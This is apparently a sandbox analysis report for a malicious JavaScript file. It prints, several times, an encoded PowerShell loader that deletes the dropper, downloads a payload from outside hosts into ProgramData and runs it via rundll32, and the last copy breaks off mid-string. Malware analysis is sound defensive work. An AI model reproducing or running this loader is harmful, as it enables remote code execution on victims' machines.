Lufp.js| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | May 26, 2023, 10:19 a.m. | May 26, 2023, 10:21 a.m. |
-
-
wscript.exe "C:\Windows\System32\wscript.exe" "C:\ProgramData\diversityCourtby.js" isohelNoncumulatively Blackmailers storified thyrotomy
2796-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "dAByAHkAIAB7AHIAbQAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABkAGkAdgBlAHIAcwBpAHQAeQBDAG8AdQByAHQAYgB5AC4AagBzADsAfQAgAGMAYQB0AGMAaAAgAHsAfQAkAG0AZQB0AGgAbwBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgBBAEEAdQBBAEQARQBBAE4AQQBBAHoAQQBDADQAQQBPAEEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAWQBBAEwAdwBCAGEAQQBHAE0AQQBTAEEAQgByAEEAQwA4AEEAYQBBAEIAWgBBAEcAawBBAGUAUQBBAD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAFkAQQBMAGcAQQB4AEEARABFAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBAHcAQQBDADQAQQBNAGcAQQB6AEEARABFAEEATAB3AEIASQBBAEMAOABBAFIAQQBBAHkAQQBHAEUAQQBQAHQAdABYAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQARQBBAEwAZwBBAHkAQQBEAFUAQQBOAEEAQQB1AEEARABFAEEATQBnAEEANABBAEMANABBAE8AQQBBADEAQQBDADgAQQBUAHcAQgBzAEEAQwA4AEEAUQB3AEEAdwBBAEYAQQBBAFAAdAB0AFgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBRAEEAdQBBAEQASQBBAE0AUQBBADIAQQBDADQAQQBOAEEAQQAyAEEAQwA0AEEATQBnAEEAegBBAEQAawBBAEwAdwBCAFkAQQBFAFUAQQBMAHcAQgBaAEEAQQA9AD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAFEAQQB1AEEARABJAEEATQB3AEEAMgBBAEMANABBAE0AZwBBAHkAQQBDADQAQQBNAFEAQQAwAEEARABJAEEATAB3AEIAdABBAEYARQBBAGMAQQBCAFgAQQBFAEUAQQBPAEEAQgB1AEEAQwA4AEEAYQB3AEIANABBAEgAawBBAGEAZwBBADEAQQBBAD0APQBQAHQAdABYAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHgAQQBEAFUAQQBOAGcAQQB2AEEARgBRAEEATQB3AEIAeABBAEcANABBAFIAQQBBAHYAQQBGAEEAQQBXAEEAQgBPAEEASABVAEEAVwBRAEIAQgBBAEYAQQBBAFUAZwBBAD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBPAEEAQQB1AEEARABJAEEATgBRAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQBMAGcAQQAzAEEARABJAEEATAB3AEIAWABBAEQAVQBBAFQAdwBBAHYAQQBGAFEAQQBRAGcAQQA1AEEARwAwAEEAYQB3AEIATABBAEcAVQBBAE4AQQBCAFIAQQBIAG8AQQBkAFEAQQA9ACIAOwAkAE4AZQBwAGgAcgBvAHQAbwBtAGUAUwB1AGIAdQByAGIAYQBuAGkAdABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEANABBAEQAYwBBAEwAZwBBAHgAQQBEAE0AQQBOAEEAQQB1AEEARABFAEEATwBBAEEAMwBBAEEAPQA9ACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAAcgBlAG0AbwBuAG8AcABvAGwAaQB6AGUAZAAgAGkAbgAgACQAbQBlAHQAaABvAGQAIAAtAHMAcABsAGkAdAAgACIAUAB0AHQAWAAiACkAIAB7AHQAcgB5ACAAewAkAG0AdQBsAHQAaQBwAGEAcgBvAHUAcwBWAG8AbABhAHQAaQBsAGkAcwBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADEAQQBDADQAQQBNAGcAQQB3AEEARABNAEEATABnAEEAeABBAEQAVQBBAE0AQQBBAHUAQQBEAGMAQQBOAFEAQQA9AGgAbABFAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWgBRAEIAdQBBAEcARQBBAGEAUQBCAHoAQQBIAE0AQQBZAFEAQgB1AEEASABRAEEAUgBRAEIANABBAEcAOABBAFkAdwBCAHYAQQBHADQAQQBaAFEAQQB1AEEASABRAEEAZAB3AEEAPQAiADsAJABoAGUAbQBpAGMAaQByAGMAdQBsAGEAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFkAUQBCAGsAQQBHAFEAQQBiAHcAQgBqAEEARwBzAEEAYwB3AEIAQwBBAEgAVQBBAGIAZwBCAGsAQQBHAFUAQQBjAHcAQgAwAEEARwBFAEEAWgB3AEEAdQBBAEcAUQBBAFoAUQBCAHoAQQBHAGsAQQAiADsAJABzAHQAcgBhAHUAYwBoAHQAZQBuAEEAdQBsAGQAZgBhAHIAcgBhAG4AdABsAGkAawBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATQBRAEEAdQBBAEQASQBBAE4AQQBBADEAQQBDADQAQQBOAFEAQQA1AEEAQwA0AEEATQBnAEEAMQBBAEQATQBBAFkAcwB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARQBBAEcAawBBAGMAdwBCAHcAQQBHADgAQQBiAGcAQgBsAEEARgBRAEEAYgB3AEIAdQBBAEgATQBBAGIAdwBCAHkAQQBHAGsAQQBZAFEAQgBzAEEAQwA0AEEAWQB3AEIAcwBBAEcAawBBAGIAZwBCAHAAQQBHAE0AQQAiADsAJABtAGEAbgBuAGkAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFAAcgBlAG0AbwBuAG8AcABvAGwAaQB6AGUAZAApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAG0AYQBuAG4AaQBzAGgAIAAtAE8AIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwATABlAGcAaQBiAGwAZQAuAHUAbgBmAHIAZQBlAGkAbgBnAGwAeQBNAGEAdABhAGMAbwA7ACQAZABpAHMAZQBhAHMAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFEAQQBIAEkAQQBaAFEAQgBoAEEARwB3AEEAYgBBAEIAcABBAEcAVQBBAFoAQQBBAHUAQQBHAE0AQQBiAHcAQgB0AEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwATABlAGcAaQBiAGwAZQAuAHUAbgBmAHIAZQBlAGkAbgBnAGwAeQBNAGEAdABhAGMAbwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIANQA3ADQAMAAyACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBUAEEAQgBsAEEARwBjAEEAYQBRAEIAaQBBAEcAdwBBAFoAUQBBAHUAQQBIAFUAQQBiAGcAQgBtAEEASABJAEEAWgBRAEIAbABBAEcAawBBAGIAZwBCAG4AQQBHAHcAQQBlAFEAQgBOAEEARwBFAEEAZABBAEIAaABBAEcATQBBAGIAdwBBAHMAQQBHAEkAQQBhAFEAQgB1AEEARwBRAEEATwB3AEIAMQBBAEUASQBBAGIAQQBCAHYAQQBHAE0AQQBhAHcAQQA3AEEAQQA9AD0AIgA7ACQAcwBtAG8AbwBjAGgAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAVQBBAGIAZwBCAGgAQQBHAFUAQQBiAGcAQgBoAEEAQwA0AEEAYwB3AEIAdgBBAEcAWQBBAGQAQQBCADMAQQBHAEUAQQBjAGcAQgBsAEEAQQA9AD0AIgA7ACQAcwBwAGwAZQBuAG8AdABvAG0AeQBJAG4AdAByAGEAZABpAHMAdAByAGkAYwB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATwBRAEEAeABBAEMANABBAE4AQQBBAHoAQQBDADQAQQBNAGcAQQB3AEEARABjAEEATABnAEEAeABBAEQAVQBBAE4AZwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA=="
2908
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
| IP Address | Status | Action |
|---|---|---|
| No hosts contacted. | ||
Suricata Alerts
No Suricata Alerts
Suricata TLS
No Suricata TLS
| file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | powershell -encodedcommand "dAByAHkAIAB7AHIAbQAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABkAGkAdgBlAHIAcwBpAHQAeQBDAG8AdQByAHQAYgB5AC4AagBzADsAfQAgAGMAYQB0AGMAaAAgAHsAfQAkAG0AZQB0AGgAbwBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgBBAEEAdQBBAEQARQBBAE4AQQBBAHoAQQBDADQAQQBPAEEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAWQBBAEwAdwBCAGEAQQBHAE0AQQBTAEEAQgByAEEAQwA4AEEAYQBBAEIAWgBBAEcAawBBAGUAUQBBAD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAFkAQQBMAGcAQQB4AEEARABFAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBAHcAQQBDADQAQQBNAGcAQQB6AEEARABFAEEATAB3AEIASQBBAEMAOABBAFIAQQBBAHkAQQBHAEUAQQBQAHQAdABYAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQARQBBAEwAZwBBAHkAQQBEAFUAQQBOAEEAQQB1AEEARABFAEEATQBnAEEANABBAEMANABBAE8AQQBBADEAQQBDADgAQQBUAHcAQgBzAEEAQwA4AEEAUQB3AEEAdwBBAEYAQQBBAFAAdAB0AFgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBRAEEAdQBBAEQASQBBAE0AUQBBADIAQQBDADQAQQBOAEEAQQAyAEEAQwA0AEEATQBnAEEAegBBAEQAawBBAEwAdwBCAFkAQQBFAFUAQQBMAHcAQgBaAEEAQQA9AD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAFEAQQB1AEEARABJAEEATQB3AEEAMgBBAEMANABBAE0AZwBBAHkAQQBDADQAQQBNAFEAQQAwAEEARABJAEEATAB3AEIAdABBAEYARQBBAGMAQQBCAFgAQQBFAEUAQQBPAEEAQgB1AEEAQwA4AEEAYQB3AEIANABBAEgAawBBAGEAZwBBADEAQQBBAD0APQBQAHQAdABYAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHgAQQBEAFUAQQBOAGcAQQB2AEEARgBRAEEATQB3AEIAeABBAEcANABBAFIAQQBBAHYAQQBGAEEAQQBXAEEAQgBPAEEASABVAEEAVwBRAEIAQgBBAEYAQQBBAFUAZwBBAD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBPAEEAQQB1AEEARABJAEEATgBRAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQBMAGcAQQAzAEEARABJAEEATAB3AEIAWABBAEQAVQBBAFQAdwBBAHYAQQBGAFEAQQBRAGcAQQA1AEEARwAwAEEAYQB3AEIATABBAEcAVQBBAE4AQQBCAFIAQQBIAG8AQQBkAFEAQQA9ACIAOwAkAE4AZQBwAGgAcgBvAHQAbwBtAGUAUwB1AGIAdQByAGIAYQBuAGkAdABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEANABBAEQAYwBBAEwAZwBBAHgAQQBEAE0AQQBOAEEAQQB1AEEARABFAEEATwBBAEEAMwBBAEEAPQA9ACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAAcgBlAG0AbwBuAG8AcABvAGwAaQB6AGUAZAAgAGkAbgAgACQAbQBlAHQAaABvAGQAIAAtAHMAcABsAGkAdAAgACIAUAB0AHQAWAAiACkAIAB7AHQAcgB5ACAAewAkAG0AdQBsAHQAaQBwAGEAcgBvAHUAcwBWAG8AbABhAHQAaQBsAGkAcwBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADEAQQBDADQAQQBNAGcAQQB3AEEARABNAEEATABnAEEAeABBAEQAVQBBAE0AQQBBAHUAQQBEAGMAQQBOAFEAQQA9AGgAbABFAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWgBRAEIAdQBBAEcARQBBAGEAUQBCAHoAQQBIAE0AQQBZAFEAQgB1AEEASABRAEEAUgBRAEIANABBAEcAOABBAFkAdwBCAHYAQQBHADQAQQBaAFEAQQB1AEEASABRAEEAZAB3AEEAPQAiADsAJABoAGUAbQBpAGMAaQByAGMAdQBsAGEAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFkAUQBCAGsAQQBHAFEAQQBiAHcAQgBqAEEARwBzAEEAYwB3AEIAQwBBAEgAVQBBAGIAZwBCAGsAQQBHAFUAQQBjAHcAQgAwAEEARwBFAEEAWgB3AEEAdQBBAEcAUQBBAFoAUQBCAHoAQQBHAGsAQQAiADsAJABzAHQAcgBhAHUAYwBoAHQAZQBuAEEAdQBsAGQAZgBhAHIAcgBhAG4AdABsAGkAawBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATQBRAEEAdQBBAEQASQBBAE4AQQBBADEAQQBDADQAQQBOAFEAQQA1AEEAQwA0AEEATQBnAEEAMQBBAEQATQBBAFkAcwB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARQBBAEcAawBBAGMAdwBCAHcAQQBHADgAQQBiAGcAQgBsAEEARgBRAEEAYgB3AEIAdQBBAEgATQBBAGIAdwBCAHkAQQBHAGsAQQBZAFEAQgBzAEEAQwA0AEEAWQB3AEIAcwBBAEcAawBBAGIAZwBCAHAAQQBHAE0AQQAiADsAJABtAGEAbgBuAGkAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFAAcgBlAG0AbwBuAG8AcABvAGwAaQB6AGUAZAApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAG0AYQBuAG4AaQBzAGgAIAAtAE8AIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwATABlAGcAaQBiAGwAZQAuAHUAbgBmAHIAZQBlAGkAbgBnAGwAeQBNAGEAdABhAGMAbwA7ACQAZABpAHMAZQBhAHMAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFEAQQBIAEkAQQBaAFEAQgBoAEEARwB3AEEAYgBBAEIAcABBAEcAVQBBAFoAQQBBAHUAQQBHAE0AQQBiAHcAQgB0AEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwATABlAGcAaQBiAGwAZQAuAHUAbgBmAHIAZQBlAGkAbgBnAGwAeQBNAGEAdABhAGMAbwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIANQA3ADQAMAAyACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBUAEEAQgBsAEEARwBjAEEAYQBRAEIAaQBBAEcAdwBBAFoAUQBBAHUAQQBIAFUAQQBiAGcAQgBtAEEASABJAEEAWgBRAEIAbABBAEcAawBBAGIAZwBCAG4AQQBHAHcAQQBlAFEAQgBOAEEARwBFAEEAZABBAEIAaABBAEcATQBBAGIAdwBBAHMAQQBHAEkAQQBhAFEAQgB1AEEARwBRAEEATwB3AEIAMQBBAEUASQBBAGIAQQBCAHYAQQBHAE0AQQBhAHcAQQA3AEEAQQA9AD0AIgA7ACQAcwBtAG8AbwBjAGgAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAVQBBAGIAZwBCAGgAQQBHAFUAQQBiAGcAQgBoAEEAQwA0AEEAYwB3AEIAdgBBAEcAWQBBAGQAQQBCADMAQQBHAEUAQQBjAGcAQgBsAEEAQQA9AD0AIgA7ACQAcwBwAGwAZQBuAG8AdABvAG0AeQBJAG4AdAByAGEAZABpAHMAdAByAGkAYwB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATwBRAEEAeABBAEMANABBAE4AQQBBAHoAQQBDADQAQQBNAGcAQQB3AEEARABjAEEATABnAEEAeABBAEQAVQBBAE4AZwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA==" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "dAByAHkAIAB7AHIAbQAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABkAGkAdgBlAHIAcwBpAHQAeQBDAG8AdQByAHQAYgB5AC4AagBzADsAfQAgAGMAYQB0AGMAaAAgAHsAfQAkAG0AZQB0AGgAbwBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgBBAEEAdQBBAEQARQBBAE4AQQBBAHoAQQBDADQAQQBPAEEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAWQBBAEwAdwBCAGEAQQBHAE0AQQBTAEEAQgByAEEAQwA4AEEAYQBBAEIAWgBBAEcAawBBAGUAUQBBAD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAFkAQQBMAGcAQQB4AEEARABFAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBAHcAQQBDADQAQQBNAGcAQQB6AEEARABFAEEATAB3AEIASQBBAEMAOABBAFIAQQBBAHkAQQBHAEUAQQBQAHQAdABYAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQARQBBAEwAZwBBAHkAQQBEAFUAQQBOAEEAQQB1AEEARABFAEEATQBnAEEANABBAEMANABBAE8AQQBBADEAQQBDADgAQQBUAHcAQgBzAEEAQwA4AEEAUQB3AEEAdwBBAEYAQQBBAFAAdAB0AFgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBRAEEAdQBBAEQASQBBAE0AUQBBADIAQQBDADQAQQBOAEEAQQAyAEEAQwA0AEEATQBnAEEAegBBAEQAawBBAEwAdwBCAFkAQQBFAFUAQQBMAHcAQgBaAEEAQQA9AD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAFEAQQB1AEEARABJAEEATQB3AEEAMgBBAEMANABBAE0AZwBBAHkAQQBDADQAQQBNAFEAQQAwAEEARABJAEEATAB3AEIAdABBAEYARQBBAGMAQQBCAFgAQQBFAEUAQQBPAEEAQgB1AEEAQwA4AEEAYQB3AEIANABBAEgAawBBAGEAZwBBADEAQQBBAD0APQBQAHQAdABYAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHgAQQBEAFUAQQBOAGcAQQB2AEEARgBRAEEATQB3AEIAeABBAEcANABBAFIAQQBBAHYAQQBGAEEAQQBXAEEAQgBPAEEASABVAEEAVwBRAEIAQgBBAEYAQQBBAFUAZwBBAD0AUAB0AHQAWABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBPAEEAQQB1AEEARABJAEEATgBRAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQBMAGcAQQAzAEEARABJAEEATAB3AEIAWABBAEQAVQBBAFQAdwBBAHYAQQBGAFEAQQBRAGcAQQA1AEEARwAwAEEAYQB3AEIATABBAEcAVQBBAE4AQQBCAFIAQQBIAG8AQQBkAFEAQQA9ACIAOwAkAE4AZQBwAGgAcgBvAHQAbwBtAGUAUwB1AGIAdQByAGIAYQBuAGkAdABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEANABBAEQAYwBBAEwAZwBBAHgAQQBEAE0AQQBOAEEAQQB1AEEARABFAEEATwBBAEEAMwBBAEEAPQA9ACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAAcgBlAG0AbwBuAG8AcABvAGwAaQB6AGUAZAAgAGkAbgAgACQAbQBlAHQAaABvAGQAIAAtAHMAcABsAGkAdAAgACIAUAB0AHQAWAAiACkAIAB7AHQAcgB5ACAAewAkAG0AdQBsAHQAaQBwAGEAcgBvAHUAcwBWAG8AbABhAHQAaQBsAGkAcwBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADEAQQBDADQAQQBNAGcAQQB3AEEARABNAEEATABnAEEAeABBAEQAVQBBAE0AQQBBAHUAQQBEAGMAQQBOAFEAQQA9AGgAbABFAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWgBRAEIAdQBBAEcARQBBAGEAUQBCAHoAQQBIAE0AQQBZAFEAQgB1AEEASABRAEEAUgBRAEIANABBAEcAOABBAFkAdwBCAHYAQQBHADQAQQBaAFEAQQB1AEEASABRAEEAZAB3AEEAPQAiADsAJABoAGUAbQBpAGMAaQByAGMAdQBsAGEAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFkAUQBCAGsAQQBHAFEAQQBiAHcAQgBqAEEARwBzAEEAYwB3AEIAQwBBAEgAVQBBAGIAZwBCAGsAQQBHAFUAQQBjAHcAQgAwAEEARwBFAEEAWgB3AEEAdQBBAEcAUQBBAFoAUQBCAHoAQQBHAGsAQQAiADsAJABzAHQAcgBhAHUAYwBoAHQAZQBuAEEAdQBsAGQAZgBhAHIAcgBhAG4AdABsAGkAawBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATQBRAEEAdQBBAEQASQBBAE4AQQBBADEAQQBDADQAQQBOAFEAQQA1AEEAQwA0AEEATQBnAEEAMQBBAEQATQBBAFkAcwB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARQBBAEcAawBBAGMAdwBCAHcAQQBHADgAQQBiAGcAQgBsAEEARgBRAEEAYgB3AEIAdQBBAEgATQBBAGIAdwBCAHkAQQBHAGsAQQBZAFEAQgBzAEEAQwA0AEEAWQB3AEIAcwBBAEcAawBBAGIAZwBCAHAAQQBHAE0AQQAiADsAJABtAGEAbgBuAGkAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFAAcgBlAG0AbwBuAG8AcABvAGwAaQB6AGUAZAApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAG0AYQBuAG4AaQBzAGgAIAAtAE8AIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwATABlAGcAaQBiAGwAZQAuAHUAbgBmAHIAZQBlAGkAbgBnAGwAeQBNAGEAdABhAGMAbwA7ACQAZABpAHMAZQBhAHMAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFEAQQBIAEkAQQBaAFEAQgBoAEEARwB3AEEAYgBBAEIAcABBAEcAVQBBAFoAQQBBAHUAQQBHAE0AQQBiAHcAQgB0AEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwATABlAGcAaQBiAGwAZQAuAHUAbgBmAHIAZQBlAGkAbgBnAGwAeQBNAGEAdABhAGMAbwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIANQA3ADQAMAAyACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBUAEEAQgBsAE